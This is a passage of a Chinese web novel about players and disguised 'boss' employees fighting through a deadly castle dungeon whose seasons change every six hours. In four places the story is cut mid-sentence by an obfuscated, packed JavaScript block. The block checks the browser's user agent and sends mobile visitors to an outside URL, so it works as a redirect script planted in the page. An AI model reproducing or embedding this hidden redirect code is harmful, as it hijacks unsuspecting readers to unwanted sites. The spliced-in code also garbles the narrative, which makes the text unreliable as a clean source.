“一群原始人,玩没玩过密室逃脱,线索就是这么找出来的。” 张家豪骂骂咧咧地上前:“行了,我来把钟拆开。” 人群中快步走出一个纹着花臂的中年壮汉,正是刚才持反对意见的人。 花臂大叔想要阻拦张嘉豪,却被李雨乔一把拽住。 “大哥,稍安毋躁啦。”李雨乔轻声说。 花臂男低头看着这个远比自己矮小的年轻姑娘,面露吃惊。 李雨乔看似瘦弱,实则力气大的惊人,花臂男的胳膊像是被钢钳牢牢夹住,分毫也动弹不得。 “喂,新人仔,别听她的话!” 花臂男使出全身力气试图甩开李雨乔的手:“这女的有问题——” 话音刚落,只听“砰”的一声响,张嘉豪一拳砸在吊钟流光溢彩的表面上。 他摸索半天,吊钟表面严丝合缝,根本没有可以下手的地方,就准备直接把钟砸烂。 屋内登时一片寂静,落针可闻。 “呵呵。”目睹了一场闹剧,姜原轻笑。 这个叫李雨乔的女生有点意思,毫无疑问是个出入副本的老手,见场上有不知情的新人,便鼓动新人试着破坏吊钟。 破坏关键物品的后果有大有小,可能因此找到突破副本的关键因素,也可能触发副本死亡条件当场殒命。 她这是拿新人的命在试探。 姜原环顾四周。 除了锡纸烫的张家豪、花臂大叔、短头发的女生李雨乔,场上还有三个人。 这些作壁上观的玩家,要么是心中胆怯不敢出声,要么也是观望情况的老手 大厅里渐渐变得昏暗,夕阳残存的辉光把人脸映得晦暗不明。 姜原扫视过他们每个人。 “嗡——”突然,被一击打中的吊钟发出一声巨响,钟面上细碎的贝母纷纷颤动起来,像一片粼粼波光。 像是被无形的力量凭空击中了,张嘉豪瞬间喷出一口血。 余波震得他横飞出去,直接从楼梯上滚下来。 李雨乔松开手,花臂大叔赶忙上前。 只见张嘉豪面如金纸,已经仰头昏了过去。 “原来如此。”李雨乔说:“看来这座钟是副本规则的一部分,是提供通关信息的关键物品,破坏它会受到严厉的惩罚。” “大家尽量不要触碰这座钟。” 钟确实是关键因素,但李雨乔的思路出现了偏差。 姜原在心中暗道:“可惜了。” 在新人的牺牲下,李雨乔验证了吊钟是受副本规则保护的关键物品。 但是有张家豪受伤的先例,玩家只会按照她说所言用钟做时间参照物,不可能有人再试图从物理层面改变这座钟。 他们已经出不去了。 “喂,你怎么能用别人的命来试探副本规则呢。” 花臂男蹲在昏迷不醒的张嘉豪身旁:“小姑娘年纪轻轻的,心思这么歹毒。” “大哥,少站在道德制高点上指责别人。” “你刚才也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17166817|196754||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 可以亲自去检查吊钟,或者代替张嘉豪来做这件事。”李雨乔说:“可你没有去做啊。” 她一步步朝花臂男走来,声音不大却压迫感十足: “人或许没有价格,但人是有价值的。” 她捡起张嘉豪掉在地上的棒球帽:“一顶帽子的使用价值是遮风挡雨,交换价值是200人民币。” “一个人的使用价值则取决于当前环境中他能带来什么收益。” “张嘉豪作为一个什么都不了解的新人,这是他能为我们离开副本做出的最大贡献。” 李雨乔站在二人面前,花臂男只能仰起头看她。 她弯腰把帽子重新戴回张嘉豪头上,冷漠道: “而且他不是还没死么。” “你——”花臂男被她怼得失语。 “呵呵。”李雨乔起身说到:“我先上楼休整了。” “我们剩下的人还要保持团结,争取早日通关哦。” “等下晚餐见。” 她缓缓走上楼梯。 路过姜原身旁时,姜原突然伸手拍了一下她的肩膀。 “嗯?”李雨乔疑惑地看向姜原。 “尊贵的医生小姐,您肩膀上有灰尘。”姜原回答:“客房就在二楼,房间都打扫好了,您可以随意挑选。” “哦,没事就行。”她看了看自己的衣服,顺着楼梯上楼了。 姜原看着她渐行渐远的背影,手掌轻轻合在一起,做祷告的姿势。 BOSS“公爵夫人”的技能【瘟疫】无声发动。 副本支配者的系统面板出现在姜原面前。 和个人终端一样,这是姜原与副本世界的专属接口,只有她自己能看到。 面板上提示着【瘟疫】的技能信息。 【瘟疫】 阴湿的祷告,甜腻的腐香,畸形的爱恨在骨髓中生根抽芽。 类型:主动技能; 冷却时间:12个小时; 施加目标:被触碰到的玩家; 效果说明:可以通过身体触碰的方式将公爵夫人的恶疾传染给一名玩家, 被感染的玩家无法离开城堡,并且根据个人身体素质在1-4天内病发死亡, 如果无人能离开城堡,则默认玩家全灭。 本质上来说,【瘟疫】作为控制技能的属性要优于它作为强制杀人技能。 “四季城堡”这个副本的开始时间被设定为黄昏时分,玩家在下午六点左右进入城堡。 假设副本BOSS将时间最大化利用,在第一天的下午六点首次发动技能【瘟疫】,下一次发动技能的时间是第二天早上6点。 以此类推,只需要完整的三天时间,也就是在第四天早上,总共六名玩家都会被感染。 没有人能再踏出城堡大门去寻找治疗公爵夫人的药。 故事就此落幕,所有玩家会被囚禁在城堡内部,发病,死亡,直到尸体都腐烂。 四季城堡又会迎接它新的客人。 优先在有经验的玩家身上使用技能,限制对于突破副本已经有思路的人。 李雨乔已经察觉到问题出现在吊钟上,姜原便让她做第一个被瘟疫感染的人。 立刻使用技能,除了这个原因,姜原其实还有别的考虑。 “对于四季城堡这个副本,‘6’是一个非常特别的数字呢。” 姜原放下合十的双手,技能倒计时浮现在眼前,字体猩红如同催命符: 技能:【瘟疫】; 状态:冷却中; 距离下次使用时间:11:59:21。 5. 四季城堡2 按照副本剧情,当钟声再次响起,四季城堡的第一次晚宴拉开帷幕。 公爵大人亲自出席,为远道而来的“名医”们接风洗尘。 总共六位玩家,除了受伤晕倒的新人张嘉豪,剩下的五人都按时来到了餐厅。 “各位,我四季城堡聘请的是全国最有名的厨师,请尽情享用。” 副本内的张川身份为BOSS“温莎公爵”,公爵也长着一张和他本人相似的苦瓜脸。 明明已经从打工牛马变身公爵了,张川仍旧一副命苦的模样,坐在奢华的软皮椅里,中年人的颓丧气息尽显。 没有人真的吃桌上的东西。毕竟现在才第一天,大家都不太饿,能不吃副本里的食物就尽量不吃。 这是预料之内的事情,正中想让玩家全都留下来的副本支配者下怀。 姜原扮演的城堡“女仆长”有一项主动技能,施展的必要条件正是玩家没有进食。 充分把握玩家的心理,BOSS技能环环相扣,大厂优秀的副本机制设计正体现于此。 优雅的古堡晚餐变成了尴尬的大眼瞪小眼时光,姜原和张川四只眼睛对战玩家的五双眼睛。 这是很考验副本支配者演技的时刻,好在他们都是专业的。 姜原脸上挂着女仆长的职业假笑,直到目送着城堡的人机女仆带着玩家们离开餐厅。 没有【员工】支配,这些女仆就是普通的副本npc,只会按照既定的逻辑规则行动。 玩家离开后,餐厅内便只剩姜原和张川两人。 “怎么样?”张川的这个问题有很多种理解方式,可以理解为他在关心姜原进入副本的体验,也可以是他在询问猎杀玩家的工作进度。 这种模糊的问法,很明显张川是想试探一下姜原到底有多少斤两。 “有点棘手,不过还在可控范围内。”姜原的回答也模棱两可。 必须承认,噩梦厂作为行业顶级的公司,副本质量确实过硬,设有多个BOSS的同时,BOSS的技能设计也很合理。 通过先前短暂的观察,姜原心中已经对可能的棘手玩家有所掌握。 她比较有把握,但是对于工作她的态度向来很佛系。 向上管理的核心就是管理上司的预期,她不想把话说的太满。 “玩家今晚都没有吃东西,这样的话应该很利于你发挥吧?”张川说:“不要犹豫,看准了就果断下手。” 他叹了口气:“尽量不要走到需要安娜出场那一步。” 入夜,姜原提着灯巡查城堡。 墙边忽然闪过一道漆黑的影子,她走过去查看,影子突然转身朝她快速移动,差点迎面撞在一起。 电光火石间,姜原敏捷地侧身闪避。 油灯在两人身边映出一片明亮的区域,姜原终于看清,对方是今天出席晚宴的玩家之一。 玩家站直身体,从容不迫地整理自己的衣领,风度翩翩好似刚才差点害二人摔倒的不是他一般。 四季城堡这个副本设定在人类世界的欧洲中世纪,所以姜原支配的皮壳“女仆长”外形接近欧洲人,天生体格高大。饶是如此,姜原目光平视时依然觉得面前的人个子很高。 男人很年轻,五官生的凌厉,面部线条却很柔和,说明他平时比较随和,不常发怒。 他站在墙边,脊背不自觉地挺直,双腿笔直修长,透过大衣姜原隐约能感受到他纤薄而有力的肌肉组织——这是一具经过千锤百炼的身体。 姜原走过来时没有刻意压低脚步声,正常人一定能听到身后有人。 她合理怀疑这人刚才是故意碰瓷,想和自己撞在一起。 在“四季城堡”这个副本里,城堡访客的信息对女仆长是开放的。 姜原心念一动,系统界面弹出所有医生的信息。 面前这个玩家名叫沈系舟。 “这位先生,这么晚了您为什么在走廊里乱逛呢?”姜原露出职业假笑:“是不是在城堡里迷路了,我送您回房间休息吧。” 沈系舟看着她,不知道在想什么。 玩家没有犯规,理论上就是四季城堡尊贵的客人。 姜原只好继续维持职业假笑。 “我是沈系舟。”他忽然开口,直接报出了自己的姓名。 “?”姜原心中疑惑,面上依然保持礼貌:“是的先生,您还有什么吩咐?” 沈系舟垂眸,没有回答。 他面色无异,姜原却觉得他忽然萎顿下来,四溢而出的张扬无声间收敛,仿佛锋利的刀刃被锈蚀掩去锋芒。 姜原熟悉这种感觉。 这是面对不想做但不得不做的事情时,根本提不起干劲的感觉。 “女佣小姐,我可以向你请教几个问题吗?”沈系舟语气很礼貌。 他闲庭信步,顺着楼梯漫步下楼。 姜原刚刚已经巡视过楼下,但是不能怠慢“客人”,只好跟着他再度下楼。 “请讲。” “下午你讲述城堡的规则,我频繁听到关于‘季节’的表述。”沈系舟说:“四季城堡为什么叫这个名字?这里的‘四季’究竟指什么?” 姜原冷眼看着沈系舟。 果然,并非所有玩家都被李雨乔带偏思路,作壁上观者中有人注意到了真正的关键信息。 “恕我不能回答这个问题。”姜原说。 “那就请你陪我去看看吧。”沈系舟丝毫不介意她的拒绝,仿佛早就料到如此。 沈系舟在前,姜原在后,二人一路来到玩家们初入城堡时的大厅。 华丽的吊钟静默无言,指针指向第四块时区,诉说着时间已来到晚上将近11点。 沈系舟在城堡大门前停住脚步。 他轻声道:“现在会是什么季节呢?” “让我们一起看看吧。” 言罢,他猛地推开城堡大门! 城堡外风雪肆虐,漆黑的夜幕下雪花零落,目光所及皆是白茫茫一片原野。 下午玩家们来时所见的秋意盎然消失不见,取而代之的是冬天孤寂的雪夜。 “之所以叫‘四季城堡’,其实是因为城堡的季节会不符合自然规律地变化。”沈系舟说:“下午我们进入城堡时吊钟时间大约为17点左右,季节为秋天,这是第一个观测值。” “现在时间为23点到午夜24点之间,季节为冬天,这是第二个观测值。” “由此可以推测,季节每6小时变换一次,按春、夏、秋、冬的顺序轮换。” “冬天的开始时间不会早于今天17点,结束时间不会超过次日5点。” “再结合这座奇异的钟——”他转过身,声音掩盖时钟指针走动的轻微声响: “你说过时钟是城堡内时间的唯一标识,那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17166818|196754||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么表提供的信息大概率是真实可靠的。” “具体时间划分钟表给出了很明显的提示,表面四块颜色分别代表四个季节,冬季是从18:00到24:00。” “根据规则,我们不能在冬天外出,意思是我们夜晚必须待在城堡内。而只能在春天觐见公爵夫人,意思是只有在午夜到凌晨这6个小时才能给她看病。” “我说的有问题吗,女佣小姐?” 城堡的大门没关严,风卷起雪花飘到地毯上,也飘落在两人肩上。 “自作聪明的玩家。”姜原心中暗道。 看穿了规则又何必在她面前卖弄呢?她还有一个主动技能——“四季城堡女仆长”的BOSS技能,就是为他准备的坟墓。 “您觉得有道理的话,也许这就是真相吧。”她说:“既然你记住了我说的规则,那其中有一条或许你有所忽略。” “我会为没有享用正餐的客人准备宵夜。”她敛去笑意,薄唇轻启,诵念出的话语仿佛沾染上奇特的魔力: “尊贵的客人,晚上的正餐您似乎没有胃口。公爵大人吩咐我准备了一些小食和红酒,为了不辜负公爵大人的心意,请您一定要享用完。” 这是BOSS“四季城堡女仆长”的技能。 【最后的晚餐】 餐桌上一共九个人,谁是倒霉的耶稣?嘻嘻,反正不是我。 类型:主动技能; 冷却时间:无固定冷却时长; 使用限制:单日可使用一次,仅可在晚餐过后使用; 施加目标:未享用晚餐的客人; 效果说明:为没有吃晚餐的客人提供有毒且足够致命的夜宵,目标玩家不能拒绝你的盛情款待。若目标玩家不予配合,无需吃下食物便会直接死亡。 姜原手中凭空出现一个精致的陶瓷托盘,托盘里是一份甜点,还有一杯红酒。 她双手呈递托盘。 意外的,沈系舟没有反抗也没有拒绝,从容端起盛着致命毒液的高脚杯。 从这一刻起,女仆长必中的技能便牢牢锁定他。 他在劫难逃。 “您在等什么,快些享用吧。”姜原等着给他收尸。 “急什么。”死到临头沈系舟依然风度不减:“这杯酒我早晚会喝,但现在还不是时候。” 他就这样端着酒杯准备上楼。 “等等。”姜原好像预料到他想干什么,最后挣扎想要阻止他。 “BOSS小姐,没猜错的话这杯酒应该加了料。”沈系舟说:“但你的技能没有强制要求在何处进食吧?” 他果然是老手,而且是个惯会钻BOSS技能漏洞的主。 “既然如此,我选择换个时间、换个地点享用这份夜宵。”沈系舟微笑道:“放心,我会一直端着这杯酒,不算拒绝这份宵夜。” “剩下的托盘就劳烦你帮我端着了。毕竟我是客人,可不想端着盘子有失风度。” 他笑起来很好看,称得上赏心悦目。 但此刻姜原只想把盘子扣在他脸上。 玩家没有触发副本机制,姜原作为BOSS就不能做出不符合BOSS人设的事情。 “绝对要杀了他。” 姜原暗下决心,让他永远留在四季城堡里,变成骷髅架子,系上女佣的花边围裙,天天端盘子洗碗、伺候和他一样事儿多的客人。 6. 四季城堡3 按照系统规则,只要高脚杯里的红酒洒出一点,就可以判定玩家拒绝夜宵,【最后的晚餐】可以让玩家原地去世。 可惜沈系舟走得很稳,杯子端得也很稳。 “BOSS小姐,帮我去通知一下其他玩家吧。”来到客人休息的楼层,沈系舟对姜原说:“让他们都别睡了,来走廊集合。” 姜原冷眼瞧他:“我以为你是独行侠呢。” “怎么了?”沈系舟笑眯眯道:“我当然不会一个人自己去探望公爵夫人,万一你想趁机干掉我怎么办。” “我的命很值钱的,我还有很重要的事没做。” “自己去叫。”姜原说。 “好吧,真无情啊。”沈系舟的语气很失望,面色却一点也看不出来。 他站在走道中间,大声喊道: “各位医生同事们,都别睡了。” “春天到了,是时候去看看公爵夫人了。” 午夜的钟声响起,窗外风消雪停,月光温柔地照亮柳枝新抽的嫩芽,也温柔地照亮每个人的脸。 “竟然真的到春天了!”张嘉豪已经醒过来了,站在窗户前端详城堡外景色的瞬息万变。似乎有人教育过他,他已经比较良好地接受了被拉进副本的现实。 “半夜三更跑去给人看病,渗人得不行。” “请为我们引荐公爵夫人,女佣小姐。”沈系舟彬彬有礼道。 他刻意在其他玩家面前回避姜原副本BOSS的身份,称呼她为“女佣小姐”。似乎他不太信任其他玩家,不愿意让其他人过多了解副本的机制;刚才去查看季节变化情况也是自己独来独往。此时叫上其他玩家大概是拉个垫背的。 “看来他和李雨乔是一类人。”姜原心中暗道。 “喂,你哪来的红酒啊。”张嘉豪突然凑到沈系舟旁边:“看起来成色很好。这是波尔多还是勃垦地产区的?” 沈系舟答道:“是我从餐厅找到的,产区我没注意看。” “要不你尝尝?” 姜原心中了然。她向玩家宣读的规则只说明夜宵必须被没有吃晚餐的玩家吃完,但没有说明这份夜宵究竟由谁来吃。也许让另一个符合条件的玩家来吃,沈系舟就可以规避女仆长技能的判定。 卡BUG让其他玩家替自己送命,或许是一种明智的做法。 “但你未免太小瞧副本BOSS了。”姜原暗中发笑,女仆长鲜艳的唇角刚要扬起微笑—— 沈系舟忽然抬手高举酒杯,避开了张嘉豪伸向酒杯的手。 姜原有些意外,看向沈系舟。他收起笑容,神色晦暗不明。 “怎么,不打算给我品鉴了?”张嘉豪撇撇嘴:“小气。” “女佣小姐,请带路吧。”沈系舟看向姜原。 “请跟我来。”姜原提起灯。 玩家成功发现四季的规律,即将面见公爵夫人。 张川不愿看到的场面还是到来了。 城堡顶层,叶安娜不耐烦地在豪华的卧室里来回踱步。她走了几个来回,终于忍不住问道:“川哥,你说今晚会有玩家找到线索来见我这个最终BOSS吗?” 这已经是叶安娜今晚第三次问同样的问题了。这个副本里BOSS之间没有群体通信技能,姜原没有提前报告,叶安娜和张川两人也不知道玩家何时会来。 张川百无聊赖瘫坐在书桌前说到:“也许吧,要有耐心。” “下次给我安排个能快速施展技能的BOSS角色吧。”叶安娜说:“我爸让你教我,你可要负责啊。” “好,没问题。”张川嘴上答应,心中想着下次一定要甩掉这张不但粘人而且扎人的狗皮膏药。 走廊里忽然传来细碎的脚步声。细听之下,感觉不是一个人走来,而是一群人节奏不规律的脚步声。 “好像有玩家上来了,快做好准备。”张川连忙指示叶安娜。 叶安娜快速钻进厚厚的帷幕,在床上躺好。张川上前帮她把床帘绑好。 只消片刻,叶安娜刚才还比较正常的白皙皮肤瞬间变得病态苍白。她的皮肤上浮现出诡异的青斑,一片一片,像某种鱼的鳞片。 卧室的门被推开。姜原率先走进卧室,行礼道:“公爵,夫人,医生们前来问诊。” 得到张川首肯后,玩家们纷纷上前围在叶安娜身边。 “这是什么怪病啊,”玩家中一个年轻姑娘说:“看得我密恐要犯了。” “我有那么丑吗?!”叶安娜瞬间炸了毛。 四周顿时陷入死寂。玩家们意外地看着这位缠绵病榻的公爵夫人。她的嗓音明明很沙哑,但听起来总感觉她中气十足?! 姜原扶额。叶安娜这么轻易就做出了不符合BOSS角色逻辑的行为,没有人教过她吗? “各位医生,我的夫人卧病已久,精神时好时坏,各位不要介意。”张川赶紧替叶安娜找补:“医者仁心,请各位竭力施救。” “我学过一点医学,我来看看。”花臂男自告奋勇。 四周朝他投去不信任的目光。 他嘟囔道:“看什么看,没见过男护士吗。” 花臂男似乎真的接受过专业培训。他先仔细观察了叶安娜身上的鳞状青斑,又看了她的舌苔和眼睛。没有专业的助听器,他伸手搭了叶安娜的脉搏。 “根据我的经验,没有特别符合症状的病。”一番望闻问切之后,张川给出结论:“但大概率是种皮肤病。硬要说的话,比较接近继发性网状青斑和青斑样血管病的结合体。” “喂,你靠不靠谱?”张嘉豪质疑他:“护士怎么还纹身呢。” “我这是纹身贴!” “行了,副本任务是给公爵夫人找治病的药,重点在于‘药’而不是‘病’。”李雨乔打断他:“我看这是个搜集类游戏,我们多找一些意思是药的物品,下一次‘春天’的时候集中起来给公爵夫人试药。” “你们不要什么奇怪的东西都在我身上试啊。”叶安娜抗议。 人群纷乱嘈杂,叶安娜说上句,张川补充下句,玩家叽叽喳喳各抒己见。宽阔的卧室好像变成一团旋涡,围绕一个质心,每个人转向不同的方向。 姜原只盯着沈系舟。 沈系舟站在人群里最靠近床头处。看似好像身处人群中央,实则是边缘上最易于脱离人群的位置。 她看见沈系舟不动声色地从床头拿了一样东西塞进口袋。 窗外漆黑的天空渐渐明亮,玩家们珍贵的六个小时春天迎来尾声。 张川替炮仗似的叶安娜遮掩了一个晚上,如释重负地松了口气。 还剩一些时间,玩家们结束了问诊,姜原领着他们离开。 “我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17166819|196754||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 们接下来的核心任务就是找可能是‘药’的东西。”一楼大厅里,李雨乔向众人交代着:“虽然叫‘药’,但能不能吃不一定,外敷内服也不一定,大家多留心吧。” “技能【瘟疫】,距离下次使用时间00:02:17.” 系统面板上,技能冷却倒计时的光在姜原脸上映出红光。 “我们对半分,三个人在城堡里找可疑元素,三个人去城堡外面。”李雨乔指派:“我,张嘉豪,还有你——” 她指向沈系舟。 “我们三个去外面分头找线索。” “副本要求冬天不能外出,切记要在下午六点之前回来。” “技能【瘟疫】,距离下次使用时间00:01:02.” 姜原开始有意朝沈系舟的方向靠近。 技能冷却即将结束,她要在沈系舟身上使用公爵夫人的技能,把他困在城堡里。 按照李雨乔的安排,众人纷纷行动起来。李雨乔推开城堡大门,他们四个人都还站在城堡内。 就在姜原即将触碰到沈系舟的时候,她突然恍惚了一下。再回过神来的时候,沈系舟已经出现在城堡门外! 这一瞬间的转换之感非常微弱,但姜原感受到了,那种感觉像是有什么无形的物质从自己身侧被抽走。她瞬间警惕起来。 “怎么回事!”李雨乔忽然大喊,吸引了众人的注意力:“我为什么出不去了?” 城门大开,她站在门前,一只脚抬起做出向前迈步的姿势,却仿佛有一道无形的墙,拦住她向前的步伐,她伸出去的那条腿迟迟无法落下。 李雨乔收回迈出的脚,没有受到阻碍。果然,有什么东西限制了她外出,但没有限制她行动。 “技能【瘟疫】,距离下次使用时间00:00:00.” 冷却时间结束,姜原却已经错失先机。 沈系舟身上发生一些奇特的变化,他已经在城堡外了。 李雨乔目光一转,盯向姜原:“喂,女仆长,是你用了BOSS技能吧。” “因为昨天下午我出了头,你就在我身上动了手脚。”李雨乔的神色逐渐变得凶狠又贪婪:“知道先下手为强,你的决策很智能啊。” “你不会是【员工】吧?” 姜原心头浮起一阵不妙的预感。她的直觉一向很灵,系统剥夺了她的记忆,但也给了她更敏锐的感知。她果断一步迈到城堡门外,和李雨乔隔着一道看不见的屏障。 “你跑什么,我什么都没干呢呀。”李雨乔傻眼,这【员工】操纵的BOSS为何躲得如此之快,和组织成员给自己描述的阴鸷狠厉的形象大相径庭。 “你自己也承认你想做点什么。”姜原微笑:“我不跑难道站在原地等着你往我身上招呼吗。” 李雨乔把手伸进口袋,掌心攥紧口袋里的东西,心中纠结起来。现在的情形,理论上不影响这件物品的使用。但此物得来实在不易,她一旦出手只能成功不许失败。她不敢赌中间这道无形的障碍到底有没有影响。 思虑再三,她拂袖而去。 李雨乔究竟藏了什么在身上,姜原没来得及细想。此刻她必须搞清楚另一件事情。 “沈系舟,你刚刚做了什么。” “你是怎么从城堡里出来的?”姜原盯着他的眼睛:“如实回答我。” 7. 四季城堡4 沈系舟看起来很疲惫,本就浅淡的唇色变得近乎苍白,额头蒙上一层细密的汗珠,仿佛一瞬间被抽空了身体的能量。 他平静的神色出现波澜,不是吃惊意外,而是一种困惑和不解。 姜原观察他的神色,感觉不像装的。 短暂接触下来,姜原感觉沈系舟对副本的了解不止停留在BOSS或者说【员工】这个层面。 他对副本有一种漠视感,在BOSS一句话就能让他送命的情况下,只要姜原愿意搭话,他依然能和姜原谈笑风生。 但目前的情况显然也超出了他的预料。 “我...”他张了张嘴,喉咙只发出沙哑破碎的声音。 姜原趁机拍了拍他的脊背,顺便发动了公爵夫人的技能【瘟疫】。 技能倒计时再次刷新,她贴心地提醒:“可以喝点红酒润润嗓子。” 沈系舟接过旁边人递的水,喝了几口,面色有所缓和。 “谁知道是怎么回事呢。” 他避重就轻地回答姜原的问题:“在这样不确定的环境里,让我们都保留一些好奇吧。” “所以现在是什么情况?”李雨乔被困在城堡后,玩家们替换了花臂男外出。 花臂男说:“李雨乔被困在城堡里不能外出,一定是她触发了副本的机制。” “我记得开局的时候npc交代过:”花臂男看了一眼一旁的姜原:“如果被公爵夫人传染了,就要留在城堡里治病。莫非李雨乔是染病了?” “那她岂不是也会变成身上一片一片的!”回想起公爵夫人可怖的面容,张嘉豪顿时汗毛倒竖。 “所以我们要尽力避免更多人被感染的情况,尽快找到治病的‘药’。”沈系舟说:“我们还是分头行动,这位大哥如何称呼?”他看向花臂男。 “免贵姓佟。”花臂男回答。 “城堡外围是一圈环形的林场。佟大哥,你和张嘉豪今天就从城堡大门左侧开始搜寻可疑线索,我从城堡右侧开始,咱们晚上回城堡交换信息。”沈系舟安排道。 “小哥,你为什么还端着这杯酒?”张嘉豪发出疑问:“这酒倒出来太久,会影响口感呐。” “笨蛋!”花臂男拍了一下张嘉豪的头:“你没看这女仆长一直跟着他吗?肯定是小哥触发了副本的另一项机制,这酒就是他被盯上的证据!” 花臂男对着沈系舟说:“小哥,你一个人独行太危险了。我们还是集体行动吧。” “没关系,这杯酒不碍事。”沈系舟微笑:“何况,还有这位女佣小姐相伴,我并不孤单。” 张嘉豪仔细打量一番女仆长的外貌,发现真是好一张尖酸刻薄的白人女性面孔。 “这也下得去手?”他暗自在心中咋舌。 再三推辞之下,三个玩家分道扬镳。 “你其实是想甩开那两个人吧。”姜原声音很冷淡:“不要再说奇怪的话了。” “这样的话副本未免太枯燥乏味了。”沈系舟说:“人要学会自己给自己寻找乐趣,建立正向激励,不然做事很难坚持下去。” 姜原意外地被激起了胜负欲:“有些事注定是苦海无涯,如果有的选,我相信不会有人主动进入副本。” “会有的。”沈系舟回答。 姜原看向他。 他看向悠远的天空。林中窜出一纵鸟儿,振翅声划破空气。 “虽千万人吾往矣,有些人就是这样的犟种。” 二人不再言语。继续往树林深处走去,春天温暖和煦的阳光在地上投下斑驳光影。 沈系舟走走停停。姜原感觉他不是无头苍蝇乱撞,而是有目的地在找什么。 姜原是看过剧本的。她想起半夜在公爵夫人房间里,沈系舟偷偷藏起了一样东西。 不出意外,那是一条十分关键的线索。 “应该是这。”沈系舟停下脚步。 二人面前的树木渐渐稀疏,露出大片草地。 不远处有一处静谧幽深的湖泊,波光粼粼。而正对着二人面前,安静地伫立着一座洁白的石碑。 沈系舟走到石碑前,轻轻擦拭石碑的表面。石碑表面大部分地方没有字,只有靠近顶部的地方刻下一个名字: “爱丽丝·温莎。” 只有死人才会把名字刻在石碑上。 这是一座墓碑,被藏在人迹罕至的森林深处。 爱丽丝明显是一位女性的名字。城堡里温莎公爵夫人虽然病重,但依然活着。温莎家族还有哪位女性长眠于此? 他从口袋里拿出那张照片。 这是一张合照,画面里有三个人,背景正是四季城堡华丽的礼堂。 左边站着一位男性,看起来是温莎公爵年轻的时候,眉眼间意气风发,和现在气质上有很大差别。 右边是一位女性,相貌虽不算绝代佳人,但独有一种温婉端庄的气质,坐在椅子上温柔地微笑。观察五官轮廓,她应该是患病前的公爵夫人。 而在公爵和公爵夫人中间,坐着一个小女孩。 女孩被打扮地很精心,穿着绸制的裙子和小皮靴,发型认真打理过,笑容像花朵一样明媚灿烂,一看便是受到万千宠爱的孩子。 如果她就是爱丽丝·温莎,那继承了温莎这个姓氏的她,难道是公爵和公爵夫人的女儿? 她是因为感染瘟疫而死去的吗? 为什么城堡里没有人提起她的存在? 沈系舟想再仔细看看墓碑。 忽然,他发现墓碑上有新的内容出现。 在“爱丽丝·温莎”这个姓名下方,出现几行英文小字。 “Ihaveanobelsurname.” “Myfather...” 沈系舟轻声念出墓碑上的小字。 第一行的内容,翻译成中文意思是“我有一个高贵的姓氏”。 内容到第二行就断了,后面的位置有不平整的凹凸,小字后面还在逐渐出现新的内容,仿佛有一双无形的手正在一笔一划地雕刻。 “字迹完全浮现出来,还需要一些时间。”沈系舟手中轻轻摇晃着酒杯。 “时间是这场游戏里最珍贵的资源。”他问姜原:“红酒这个技能什么时候刷新,我还剩多少时间?” 他一副事不关己的模样,好像此时此刻押注的不是他自己的性命。 “夜宵只在晚上提供。”姜原说。 “等待需要耐心啊。”他在墓碑旁的石阶上坐下来。 看他不准备走,姜原也在一旁坐下休息。 天气越来越热,转眼季节交错,盛夏将至。 “可以跟我讲讲你们【员工】的事情吗?”沈系舟突然开口。 “你知道这么多,是因为你喜欢跟副本BOSS聊天吗?”姜原反问。 “当然不是。”沈系舟笑了:“我想问问,你们的世界有没有这样一个人?” “年轻女性,年龄大概在20-30岁之间,黑头发黑眼睛。她很擅长学习,先天条件不好但学东西总是进步很快。认真起来很严肃,遇到事了也不和别人说,总是自己一个人解决。” “你说的这些特征也太宽泛了,完全不具有代表性。”姜原打断他:“向我询问找人,首先你得告诉我这人名 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17166820|196754||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 字叫什么吧。” 沈系舟沉默片刻,眸光盈满难言的情绪:“我无法说出她的名字。” 姜原忽然反应过来,成为【员工】需要在契约上签字,之后管理局会把“名字”封存起来。 从那一刻起,她原本的名字就不再属于自己,无法被书写,无法被记忆,更无法被人呼唤。 成为【员工】以后,还会有人在现实世界中牵挂着她吗? 夕阳沉沉落下,四季城堡的“秋”接近尾声。 